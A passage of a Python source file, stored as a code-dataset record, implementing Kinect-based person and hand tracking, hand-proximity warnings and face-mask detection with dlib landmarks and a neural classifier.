self._kinect.surface_as_array(target_surface.get_buffer())\n ctypes.memmove(address, frame8bit.ctypes.data, frame8bit.size)\n del address\n\n def draw_infrared_frame(self, frame, target_surface):\n if frame is None:\n return\n target_surface.lock()\n f8=np.uint8(frame.clip(1,4000)/16.)\n frame8bit=np.dstack((f8,f8,f8))\n address = self._kinect.surface_as_array(target_surface.get_buffer())\n ctypes.memmove(address, frame8bit.ctypes.data, frame8bit.size)\n del address\n target_surface.unlock()\n\n def get_window_size(self):\n return (float(self._kinect.color_frame_desc.Width), float(self._kinect.color_frame_desc.Height))\n\n def convert_to_coordinates(self, locations, window_size = None):\n if len(locations) == 0:\n return\n lis = True\n to_return = []\n if type(locations[0]) != list and type(locations[0]) != tuple:\n locations = [locations]\n lis = False\n for location in locations:\n if window_size is None:\n window_size = self.get_window_size()\n horizontal_factor = 1/1000 * 0.9\n vertical_factor = -1/1000 * 0.9\n x, y, depth, _ = location\n width, height = window_size\n horizontal_coordinate = (x-width/2)*depth*horizontal_factor\n vertical_coordinate = (y-height/2)*depth*vertical_factor\n to_return.append([horizontal_coordinate, vertical_coordinate, depth])\n if not lis:\n return to_return[0]\n else:\n return to_return\n\n def color_difference(self, color1, color2): # BGR\n (b1, g1, r1) = color1\n (b2, g2, r2) = color2\n diff = abs(math.sqrt(2 * (b2 - b1) ** 2 + (g2 - g1) ** 2 + (r2 - r1) ** 2))\n return diff\n\n def convert_to_coordinate(self, location, window_size = None):\n if window_size is None:\n window_size = self.get_window_size()\n horizontal_factor = 1/1000 * 0.9\n vertical_factor = -1/1000 * 0.9\n x, y, depth = location\n width, height = window_size\n horizontal_coordinate = (x-width/2)*depth*horizontal_factor\n vertical_coordinate = (y-height/2)*depth*vertical_factor\n return [horizontal_coordinate, vertical_coordinate, depth]\n\n def get_distance(self, location1, location2):\n x1, y1, z1 = location1[0:3]\n x2, y2, z2 = location2[0:3]\n argument = (x1-x2)**2+(y1-y2)**2+(int(z1)-int(z2))**2\n if argument < 0:\n return 0\n print(\"argument zero\")\n\n return(math.sqrt(argument))\n\n def get_distances(self, location, list_location, return_zero = False):\n to_return = []\n for second_location in list_location:\n d = self.get_distance(location, second_location)\n if d != 0 or return_zero:\n to_return.append(d)\n return to_return\n\n def coordinate_to_pixel(self, location, extra = 0):\n return (int(location[0]*self.topdown_scale + self.topdown_surface_size[0]/2 + extra), int(location[2]*self.topdown_scale + extra))\n\n def get_middle(self, location1, location2):\n x1, y1, z1 = location1\n x2, y2, z2 = location2\n return ((x1+x2)/2,(y1+y2)/2,(z1+z2)/2)\n\n def get_head_location(self):\n if self._bodies is not None: \n self.head_locations = []\n for i in range(0, self._kinect.max_body_count):\n body = self._bodies.bodies[i]\n if not body.is_tracked: \n continue \n joints = body.joints \n joint_points = self._kinect.body_joints_to_color_space(joints)\n joint_points_depth = self._kinect.body_joints_to_depth_space(joints)\n\n if self.new_body_frame and self.new_depth_frame:\n try:\n head_joint = joint_points[PyKinectV2.JointType_Head]\n head_joint_depth = joint_points_depth[PyKinectV2.JointType_Head]\n depth_value = self.depth_frame[int(head_joint_depth.y), int(head_joint_depth.x)]\n if depth_value != 0:\n self.head_locations.append([head_joint.x, head_joint.y, depth_value])\n except Exception as e:\n if \"infinity\" not in str(e):\n print(\"error before return:\", e)\n\n def between_zero_and(self,number, max_number):\n a = int(min(max(number, 0), max_number))\n # print(\"between\", a, number, max_number)\n return a\n\n def get_hands_location(self):\n \"\"\"\n returns a list containing tuples which all contain two tuples, respectively storing\n the xyz coordinates of the left hand and the right hand\n \"\"\"\n\n hands_locations = []\n if self._bodies is not None:\n for i in range(0, self._kinect.max_body_count):\n body = self._bodies.bodies[i]\n if body.is_tracked:\n joints = body.joints\n joint_points = self._kinect.body_joints_to_color_space(joints)\n joint_points_depth = self._kinect.body_joints_to_depth_space(joints)\n\n hand_joint = joint_points[PyKinectV2.JointType_HandLeft]\n hand_joint_depth = joint_points_depth[PyKinectV2.JointType_HandLeft]\n if self.between_zero_and(hand_joint_depth.y, 423) == int(hand_joint_depth.y) and self.between_zero_and(hand_joint_depth.x, 511) == int(hand_joint_depth.x):\n lx = hand_joint.x\n ly = hand_joint.y\n lz = int(self.depth_frame[int(hand_joint_depth.y), int(hand_joint_depth.x)])\n else:\n lx, ly, lz = 0,0,0\n # print(\"left\", hand_joint_depth.x, hand_joint_depth.y)\n\n hand_joint = joint_points[PyKinectV2.JointType_HandRight]\n hand_joint_depth = joint_points_depth[PyKinectV2.JointType_HandRight]\n if self.between_zero_and(hand_joint_depth.y, 423) == int(hand_joint_depth.y) and self.between_zero_and(\n hand_joint_depth.x, 511) == int(hand_joint_depth.x):\n rx = hand_joint.x\n ry = hand_joint.y\n rz = int(self.depth_frame[int(hand_joint_depth.y), int(hand_joint_depth.x)])\n else:\n rx, ry, rz = 0, 0, 0\n # print(\"right\", hand_joint_depth.x, hand_joint_depth.y)\n\n hands_locations.append(((i, lx, ly, lz), (i, rx, ry, rz)))\n\n return hands_locations\n\n def hands_too_close(self, distance_allowed):\n \"\"\"\n prints whether or not the hands of any two people are to close\n \"\"\"\n hand_locations_without_depth = self.get_hands_location()\n\n hand_locations = [[[element[0][0]]+self.convert_to_coordinate(element[0][1:]), [element[1][0]]+self.convert_to_coordinate(element[1][1:])] for element\n in hand_locations_without_depth]\n\n hand_locations = [[[int(s) for s in element[0]], [int(s) for s in element[1]]] for element\n in hand_locations]\n\n # if hand_locations != []:\n # hand_locations.append([[100, -1143, 33, 1724], [100, -350, 22, 1753]])\n # else:\n # hand_locations = [[[100, -1143, 33, 1724], [100, -350, 22, 1753]]]\n\n # print(hand_locations, hand_locations_without_depth)\n\n # cv2.imshow(\"hands\", self.color_frame)\n\n # print(hand_locations)\n #\n # for left, right in hand_locations:\n # d = int(self.color_difference(left, right))\n # print(\"distance between\", left, \"and\", right, \"is\", d)\n # for left2, right2 in hand_locations.copy():\n # # print(left, right, left2, right2)\n # if (left != left2 or not (left == left2 and [int(s) for s in left] == [0, 0, 0])) and (\n # right != right2 or not (right == right2 and [int(s) for s in right] == [0, 0, 0])):\n # distances = [int(self.color_difference(left, left2)), int(self.color_difference(right, right2)),\n # int(self.color_difference(left, right2)), int(self.color_difference(right, left2))]\n # if left == (0, 0, 0):\n # distances[0] = 0\n # distances[2] = 0\n # if right == (0, 0, 0):\n # distances[1] = 0\n # distances[3] = 0\n # if left2 == (0, 0, 0):\n # distances[0] = 0\n # distances[3] = 0\n # if right2 == (0, 0, 0):\n # distances[1] = 0\n # distances[2] = 0\n # # print(\"distance\", left, right, left2, right2, distances)\n # m = min(distances)\n # # if 0 < m < 1500:\n # print(m)\n\n # print(\"hand_locations:\", hand_locations)\n if len(hand_locations) > 1:\n for i in range(len(hand_locations)-1):\n for k in range(0, 2):\n id1, x1, y1, z1 = hand_locations[i][k]\n\n for j in range(len(hand_locations[i:])):\n for q in range(0, 2):\n id2, x2, y2, z2 = hand_locations[j][q]\n\n\n if id1 != id2:\n current_distance = np.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2 + (z1 - z2) ** 2)\n # if current_distance > 0: print(\"distance between\", x1, y1, z1,\"/\", x2, y2, z2, \"is\", current_distance)\n if 0 < current_distance < distance_allowed:\n print(current_distance, \"too close: hands at\", [int(x) for x in hand_locations[i][k]], \"and\", [int(x) for x in hand_locations[j][q]])\n font = pygame.font.SysFont('Comic Sans MS', 80)\n textsurface = font.render(\"hands at distance \"+str(round(current_distance, 2)), False, (0, 0, 255))\n text_coordinate = (50,50)\n self.color_surface.blit(textsurface, text_coordinate)\n\n # for left, right in hand_locations:\n # for left2, right2 in hand_locations.copy():\n # if (left != left2) and (right != right2):\n # distances = [int(self.color_difference(left, left2)), int(self.color_difference(right, right2)), int(self.color_difference(left, right2)), int(self.color_difference(right, left2))]\n # if left == (0,0,0):\n # distances[0] = 0\n # distances[2] = 0\n # if right == (0,0,0):\n # distances[1] = 0\n # distances[3] = 0\n # if left2 == (0,0,0):\n # distances[0] = 0\n # distances[3] = 0\n # if right2 == (0,0,0):\n # distances[1] = 0\n # distances[2] = 0\n # print(\"distance2\", left, right, distances)\n\n\n\n\n def nearest_nonzero_idx(self, a, x, y):\n idx = np.argwhere(a)\n idx = idx[~(idx == [x, y]).all(1)]\n return idx[((idx - [x, y]) ** 2).sum(1).argmin()]\n\n def get_chest_location(self):\n if self.person_positions is not None:\n chest_locations = []\n for position in self.person_positions:\n x, y, w, h = position\n\n chest_location = [x + w // 2, y + h // 3]\n xd = int((chest_location[0] - 960) * 0.3673 + 256)\n yd = int((chest_location[1] - 540) * 0.3673 + 212)\n self.chest_depth = 0\n if 0 <= yd < self.depth_frame.shape[0] and 0 <= xd < self.depth_frame.shape[1]:\n depth_y, depth_x = self.nearest_nonzero_idx(self.depth_frame, yd, xd)\n depth = self.depth_frame[depth_y, depth_x]\n self.chest_depth = depth\n else:\n print(\"not in frame\", xd, yd)\n if self.chest_depth != 0:\n chest_location.append(self.chest_depth)\n chest_locations.append(chest_location)\n return chest_locations\n\n def get_position_from_frame(self, frame_coordinate):\n frame_x, frame_y = frame_coordinate\n depth = self._kinect._mapper.MapCameraPointToDepthSpace(frame_coordinate) \n print(frame_x, frame_y, depth)\n\n def quantize(self, img, NUM_CLUSTERS=5):\n ar = np.asarray(img)\n shape = ar.shape\n ar = ar.reshape(scipy.product(shape[:2]), shape[2]).astype(float)\n codes, dist = scipy.cluster.vq.kmeans(ar, NUM_CLUSTERS)\n vecs, dist = scipy.cluster.vq.vq(ar, codes)\n return np.reshape(vecs, shape[:2]), codes, vecs\n\n\n\n def retrieve_data(self, draw = True, print_output = False):\n\n if (self.sensor and self._kinect.has_new_color_frame()) or (not self.sensor and self.frame_name in self.color_files):\n if self.sensor:\n self.color_frame = self._kinect.get_last_color_frame()\n else:\n self.color_frame = np.load(self.folder_path+\"color/\"+self.frame_name)\n if draw:\n self.draw_color_frame(self.color_frame, self.color_surface)\n pygame.draw.rect(self.color_surface, self.black, ((0,0), self.color_surface.get_size()), 80)\n self.first_frame = True\n\n if self.topdown:\n view = pygame.surfarray.array3d(self.color_surface)\n view = view.transpose([1, 0, 2])\n img_BGR = cv2.cvtColor(view, cv2.COLOR_RGB2BGR)\n self.person_positions = detect_persons_with_rescale(img_BGR)\n if self.display_debug:\n for (x_person, y_person, width_person, height_person) in self.person_positions:\n pygame.draw.rect(self.color_surface, self.black, ((x_person, y_person), (width_person, height_person)), 10)\n\n if self.record: np.save(self.folder_path+\"/color/frame_\"+str(self.frame), self.color_frame)\n \n if (self.sensor and self._kinect.has_new_body_frame()): \n self._bodies = self._kinect.get_last_body_frame()\n self.new_body_frame = True\n\n if (self.sensor and self._kinect.has_new_depth_frame()) or (not self.sensor and self.frame_name in self.depth_files):\n if self.sensor:\n self.depth_frame = self._kinect.get_last_depth_frame()\n\n else:\n self.depth_frame = np.load(self.folder_path+\"depth/\"+self.frame_name)\n\n if self.record: np.save(self.folder_path+\"/depth/frame_\"+str(self.frame), self.depth_frame)\n self.depth_frame = self.depth_frame.reshape(424,512)\n self.new_depth_frame = True\n\n if self.frame >= 1:\n last_head_locations = copy.copy(self.head_locations)\n\n if self.sensor:\n if self.body_detection_kinect:\n self.get_head_location()\n else:\n self.head_locations = self.get_chest_location()\n elif self.frame_name in self.heads_files: \n self.head_locations = [list(element) for element in np.load(self.folder_path+\"heads/\"+self.frame_name)]\n\n if self.record: np.save(self.folder_path+\"/heads/frame_\"+str(self.frame), np.array(self.head_locations))\n\n for index, head in enumerate(self.head_locations):\n if len(head) == 3:\n if self.frame >= 1:\n d = self.get_distances(head, last_head_locations, return_zero = True)\n # print(\"distance\", d)\n if len(d) > 0 and min(d) < 300:\n last_coordinate = last_head_locations[d.index(min(d))]\n id_to_add = last_coordinate[3]\n else:\n # if len(d)>0:\n # print(min(d))\n self.head_id_count += 1\n id_to_add = self.head_id_count\n else:\n self.head_id_count += 1\n id_to_add = self.head_id_count\n head.append(id_to_add)\n if self.topdown:\n if id_to_add not in self.body_status.keys(): self.body_status[id_to_add] = {}\n self.body_status[id_to_add][\"last_added\"] = time.time()\n if print_output:\n print(\"head_location frame\",self.frame, self.head_locations)\n\n if self.topdown:\n to_delete = []\n for id in self.body_status.keys():\n if time.time() - self.body_status[id][\"last_added\"] > 5:\n to_delete.append(id)\n for id in to_delete:\n del self.body_status[id]\n\n if self.sensor and self.topdown:\n if self.head_locations is not None:\n self.head_squares = []\n for location in self.head_locations:\n if self.body_detection_kinect:\n top, left, bottom, right = (200, 200, 200, 200)/location[2] * 1000 # (100, 120, 200, 120)\n else:\n top, left, bottom, right = (700, 300, -50, 300) / location[2] * 1000\n width = left+right\n height = top+bottom\n if self.display_debug:\n pygame.draw.rect(self.color_surface, self.blue, ([location[0]-left, location[1]-top], (width, height)), 10)\n pygame.draw.circle(self.color_surface, self.green, [int(location[0]), int(location[1])], 20)\n self.head_squares.append((([location[0]-left, location[1]-top], (width, height)), location[3]))\n\n def mask_detection_color(self, og_image, head_id, show=False):\n if show: cv2.imshow(\"og_image\" + str(head_id), imutils.resize(og_image, width=200))\n dlib_image = og_image.copy()\n image = imutils.resize(dlib_image, width=500)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n rects = self.detector(gray, 1)\n\n for (i, rect) in enumerate(rects):\n face_image = image[max(rect.top(), 0):max(rect.bottom(), 0), max(rect.left(), 0):max(rect.right(), 0)]\n if show: cv2.imshow(\"detected_image\"+str(head_id), imutils.resize(face_image, width=200))\n\n shape = self.predictor(gray, rect)\n shape = face_utils.shape_to_np(shape)\n\n shape[:, 0] -= rect.left()\n shape[:, 1] -= rect.top()\n\n quantize_width = 50\n color_ratio = (rect.right()-rect.left())/quantize_width\n dlib_image_small = imutils.resize(face_image, width=quantize_width)\n quantized, codes, vecs = self.quantize(dlib_image_small)\n\n # top bottom left right\n if show:\n face_box = shape[0][1] - abs(shape[0][1] - shape[8][1]), shape[8][1], shape[0][0], shape[16][0]\n roi = face_image[max(face_box[0], 0):max(face_box[1], 0), max(face_box[2], 0):max(face_box[3], 0)]\n cv2.imshow(\"roi\", imutils.resize(roi, width=200))\n\n forehead_box = max(shape[24][1], shape[19][1]) - abs(\n max(shape[24][1], shape[19][1]) - shape[28][1]), max(shape[24][1], shape[19][1]) - 2, shape[21][0], \\\n shape[22][0]\n forehead_image = face_image[max(forehead_box[0], 0):max(forehead_box[1], 0),\n max(forehead_box[2], 0):max(forehead_box[3], 0)]\n\n forehead_box_q = [int(element/color_ratio) for element in forehead_box]\n forehead_quant = quantized[max(forehead_box_q[0], 0):max(forehead_box_q[1], 0),\n max(forehead_box_q[2], 0):max(forehead_box_q[3], 0)]\n if show and min(forehead_image.shape) > 0: cv2.imshow(\"forehead\", imutils.resize(forehead_image, width=200))\n\n left_cheek_box = shape[52][1], shape[5][1], shape[36][0], shape[48][0]-5\n cheek_image = face_image[max(left_cheek_box[0], 0):max(left_cheek_box[1], 0),\n max(left_cheek_box[2], 0):max(left_cheek_box[3], 0)]\n left_cheek_box_q = [int(element / color_ratio) for element in left_cheek_box]\n cheek_quant = quantized[max(left_cheek_box_q[0], 0):max(left_cheek_box_q[1], 0),\n max(left_cheek_box_q[2], 0):max(left_cheek_box_q[3], 0)]\n if show and min(cheek_image.shape) > 0: cv2.imshow(\"left_cheek\", imutils.resize(cheek_image, width=200))\n\n if min(abs(shape[42][0] - shape[0][0]), abs(shape[39][0] - shape[16][0])) > 20:\n forehead_average = cv2.mean(forehead_image)\n cheek_average = cv2.mean(cheek_image)\n diff = self.color_difference(forehead_average[:3], cheek_average[:3])\n forehead_q_average = codes[np.bincount(np.reshape(forehead_quant, forehead_quant.size)).argmax()] if min(forehead_quant.shape) > 0 else None\n cheek_q_average = codes[np.bincount(np.reshape(cheek_quant, cheek_quant.size)).argmax()] if min(cheek_quant.shape) > 0 else None\n if cheek_q_average is not None and forehead_average is not None and forehead_q_average is not None and cheek_q_average is not None:\n diff_q = self.color_difference(forehead_q_average[:3], cheek_q_average[:3])\n if show: print(diff, diff_q)\n\n if show:\n for (name, (i, j)) in face_utils.FACIAL_LANDMARKS_IDXS.items():\n for (x, y) in shape[i:j]:\n cv2.circle(face_image, (x, y), 1, (0, 0, 255), -1)\n\n cv2.rectangle(face_image, (forehead_box[2], forehead_box[0]), (forehead_box[3], forehead_box[1]), self.red,\n thickness=1)\n cv2.rectangle(face_image, (left_cheek_box[2], left_cheek_box[0]), (left_cheek_box[3], left_cheek_box[1]),\n self.red, thickness=1)\n cv2.imshow(\"Image\", imutils.resize(face_image, width=400))\n\n shape = dlib_image_small.shape\n ar = dlib_image_small.reshape(scipy.product(shape[:2]), shape[2]).astype(float)\n c = np.zeros(ar.shape, ar.dtype)\n for i, code in enumerate(codes):\n c[scipy.r_[scipy.where(vecs == i)], :] = code\n\n\n c = c.reshape(*shape).astype(np.uint8)\n\n cv2.rectangle(c, (forehead_box_q[2], forehead_box_q[0]), (forehead_box_q[3], forehead_box_q[1]),\n self.red,\n thickness=1)\n cv2.rectangle(c, (left_cheek_box_q[2], left_cheek_box_q[0]),\n (left_cheek_box_q[3], left_cheek_box_q[1]),\n self.red, thickness=1)\n\n cv2.imshow(\"quantized\", imutils.resize(c, width=300))\n\n if diff < 100:\n if show: print(\"geen mondmasker\", head_id, int(diff))\n return \"no mask\"\n else:\n if show: print(\"wel een mondmasker\", head_id, int(diff))\n return \"mask\"\n else:\n print(\"turned too much\", min(abs(shape[42][0] - shape[0][0]), abs(shape[39][0] - shape[16][0])))\n\n def detect_and_predict_mask(self, frame, faceNet, maskNet):\n # grab the dimensions of the frame and then construct a blob\n # from it\n (h, w) = frame.shape[:2]\n blob = cv2.dnn.blobFromImage(frame, 1.0, (224, 224),\n (104.0, 177.0, 123.0))\n\n # pass the blob through the network and obtain the face detections\n faceNet.setInput(blob)\n detections = faceNet.forward()\n # print(detections.shape)\n\n # initialize our list of faces, their corresponding locations,\n # and the list of predictions from our face mask network\n faces = []\n locs = []\n preds = []\n\n # loop over the detections\n for i in range(0, detections.shape[2]):\n # extract the confidence (i.e., probability) associated with\n # the detection\n confidence = detections[0, 0, i, 2]\n\n # filter out weak detections by ensuring the confidence is\n # greater than the minimum confidence\n if confidence > 0.5:\n # compute the (x, y)-coordinates of the bounding box for\n # the object\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n\n # ensure the bounding boxes fall within the dimensions of\n # the frame\n (startX, startY) = (max(0, startX), max(0, startY))\n (endX, endY) = (min(w - 1, endX), min(h - 1, endY))\n\n # extract the face ROI, convert it from BGR to RGB channel\n # ordering, resize it to 224x224, and preprocess it\n face = frame[startY:endY, startX:endX]\n face = cv2.cvtColor(face, cv2.COLOR_BGR2RGB)\n face = cv2.resize(face, (224, 224))\n face = img_to_array(face)\n face = preprocess_input(face)\n\n # add the face and bounding boxes to their respective\n # lists\n faces.append(face)\n locs.append((startX, startY, endX, endY))\n\n # only make a predictions if at least one face was detected\n if len(faces) > 0:\n # for faster inference we'll make batch predictions on *all*\n # faces at the same time rather than one-by-one predictions\n # in the above `for` loop\n faces = np.array(faces, dtype=\"float32\")\n preds = maskNet.predict(faces, batch_size=32)\n\n # return a 2-tuple of the face locations and their corresponding\n # locations\n return (locs, preds)\n\n def mask_detection_machine(self, head_image, head_id):\n\n frame = imutils.resize(head_image, width=400)\n\n # detect faces in the frame and determine if they are wearing a\n # face mask or not\n (locs, preds) = self.detect_and_predict_mask(frame, self.faceNet, self.maskNet)\n\n # loop over the detected face locations and their corresponding\n # locations\n for (box, pred) in zip(locs, preds):\n # unpack the bounding box and predictions\n (startX, startY, endX, endY) = box\n (mask, withoutMask) = pred\n if mask > 0.8:\n return \"mask\"\n else:\n return \"no mask\"\n\n # determine the class label and color we'll use to draw\n # the bounding box and text\n label = \"Mask\" if mask > withoutMask else \"No Mask\"\n color = (0, 255, 0) if label == \"Mask\" else (0, 0, 255)\n\n # include the probability in the label\n label = \"{}: {:.2f}%\".format(label, max(mask, withoutMask) * 100)\n\n # display the label and bounding box rectangle on the output\n # frame\n cv2.putText(frame, label, (startX, startY - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.45, color, 2)\n cv2.rectangle(frame, (startX, startY), (endX, endY), color, 2)\n\n # show the output frame\n # cv2.imshow(\"Frame\", frame)\n # key = cv2.waitKey(1) & 0xFF\n\n def mask_detection(self, machine=True, color=True):\n if self.first_frame:\n\n\n self._frameRGB = self.color_frame.reshape((1080, 1920, -1)).astype(np.uint8)\n self._frameRGB = cv2.resize(self._frameRGB, (0, 0), fx=1,\n fy=1)\n image = cv2.cvtColor(self._frameRGB, cv2.COLOR_RGBA2BGR)\n\n for head_square, head_id in self.head_squares:\n\n head_image = image[max(int(head_square[0][1]), 0):int(head_square[0][1] + head_square[1][1]),\n max(int(head_square[0][0]), 0):int(head_square[0][0] + head_square[1][0])]\n head_image = cv2.cvtColor(head_image, cv2.COLOR_RGB2BGR)\n\n if machine:\n mask_code_machine = self.mask_detection_machine(head_image, head_id)\n\n if color:\n mask_code_color = self.mask_detection_color(head_image, head_id, show=True)\n\n if not machine and color:\n mask_code_machine = mask_code_color\n if not color and machine:\n mask_code_color = mask_code_machine\n\n mask_code = None\n\n if mask_code_color is not None:\n if (mask_code_color == mask_code_machine):\n mask_code = mask_code_color\n else:\n mask_code = mask_code_machine\n\n print(head_id, mask_code)\n\n if mask_code is not None:\n if head_id not in self.body_status.keys(): self.body_status[head_id] = {}\n if \"count_mask\" not in self.body_status[head_id].keys(): self.body_status[head_id][\"count_mask\"] = 0\n if \"count_no_mask\" not in self.body_status[head_id].keys(): self.body_status[head_id][\"count_no_mask\"] = 0\n minimum_count = 1\n if mask_code == \"mask\":\n self.body_status[head_id][\"count_mask\"] += 1\n self.body_status[head_id][\"count_no_mask\"] = 0\n if self.body_status[head_id][\"count_mask\"] >= minimum_count:\n self.body_status[head_id][\"mask\"] = mask_code\n else:\n self.body_status[head_id][\"count_mask\"] = 0\n self.body_status[head_id][\"count_no_mask\"] += 1\n if self.body_status[head_id][\"count_no_mask\"] >= minimum_count:\n self.body_status[head_id][\"mask\"] = mask_code\n\n\n\n\n\n\nif __name__ == \"__main__\":\n interface = TopDownViewRuntime()\n interface.hands_too_close(500)\n", "sub_path": "project_functions.py", "file_name": "project_functions.py", "file_ext": "py", "file_size_in_byte": 32784, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pykinect2.PyKinectRuntime.PyKinectRuntime", "line_number": 47, "usage_type": "call"}, {"api_name": "pykinect2.PyKinectRuntime", "line_number": 47, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.FrameSourceTypes_Color", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 47, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.FrameSourceTypes_Body", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2.FrameSourceTypes_Depth", "line_number": 47, "usage_type": "attribute"}, {"api_name": "ctypes.memmove", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 77, "usage_type": "call"}, {"api_name": "ctypes.memmove", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 87, "usage_type": "call"}, {"api_name": "ctypes.memmove", "line_number": 89, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 122, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 144, "usage_type": "call"}, {"api_name": "pykinect2.PyKinectV2.JointType_Head", "line_number": 175, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 175, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.JointType_Head", "line_number": 176, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 176, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.JointType_HandLeft", "line_number": 204, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 204, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.JointType_HandLeft", "line_number": 205, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 205, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.JointType_HandRight", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 214, "usage_type": "name"}, {"api_name": "pykinect2.PyKinectV2.JointType_HandRight", "line_number": 215, "usage_type": "attribute"}, {"api_name": "pykinect2.PyKinectV2", "line_number": 215, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 290, "usage_type": "call"}, {"api_name": "pygame.font.SysFont", "line_number": 294, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 294, "usage_type": "attribute"}, {"api_name": "numpy.argwhere", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 352, "usage_type": "call"}, {"api_name": "scipy.product", "line_number": 354, "usage_type": "call"}, {"api_name": "scipy.cluster.vq.kmeans", "line_number": 355, "usage_type": "call"}, {"api_name": "scipy.cluster", "line_number": 355, "usage_type": "attribute"}, {"api_name": "scipy.cluster.vq.vq", "line_number": 356, "usage_type": "call"}, {"api_name": "scipy.cluster", "line_number": 356, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 367, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 370, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 370, "usage_type": "attribute"}, {"api_name": "pygame.surfarray.array3d", "line_number": 374, "usage_type": "call"}, {"api_name": "pygame.surfarray", "line_number": 374, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 376, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 376, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 380, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 380, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 382, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 395, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 400, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 408, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 410, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 410, "usage_type": "call"}, {"api_name": "time.time", "line_number": 431, "usage_type": "call"}, {"api_name": "time.time", "line_number": 438, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 454, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 454, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 455, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 455, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 459, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 459, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 461, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 462, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 462, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 467, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 467, "usage_type": "call"}, {"api_name": "imutils.face_utils.shape_to_np", "line_number": 470, "usage_type": "call"}, {"api_name": "imutils.face_utils", "line_number": 470, "usage_type": "name"}, {"api_name": "imutils.resize", "line_number": 477, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 484, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 484, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 495, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 495, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 503, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 503, "usage_type": "call"}, {"api_name": "cv2.mean", "line_number": 506, "usage_type": "call"}, {"api_name": "cv2.mean", "line_number": 507, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 509, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 509, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 510, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 510, "usage_type": "call"}, {"api_name": "imutils.face_utils.FACIAL_LANDMARKS_IDXS.items", "line_number": 516, "usage_type": "call"}, {"api_name": "imutils.face_utils.FACIAL_LANDMARKS_IDXS", "line_number": 516, "usage_type": "attribute"}, {"api_name": "imutils.face_utils", "line_number": 516, "usage_type": "name"}, {"api_name": "cv2.circle", "line_number": 518, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 520, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 522, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 524, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 524, "usage_type": "call"}, {"api_name": "scipy.product", "line_number": 527, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 528, "usage_type": "call"}, {"api_name": "scipy.r_", "line_number": 530, "usage_type": "attribute"}, {"api_name": "scipy.where", "line_number": 530, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 533, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 535, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 538, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 542, "usage_type": "call"}, {"api_name": 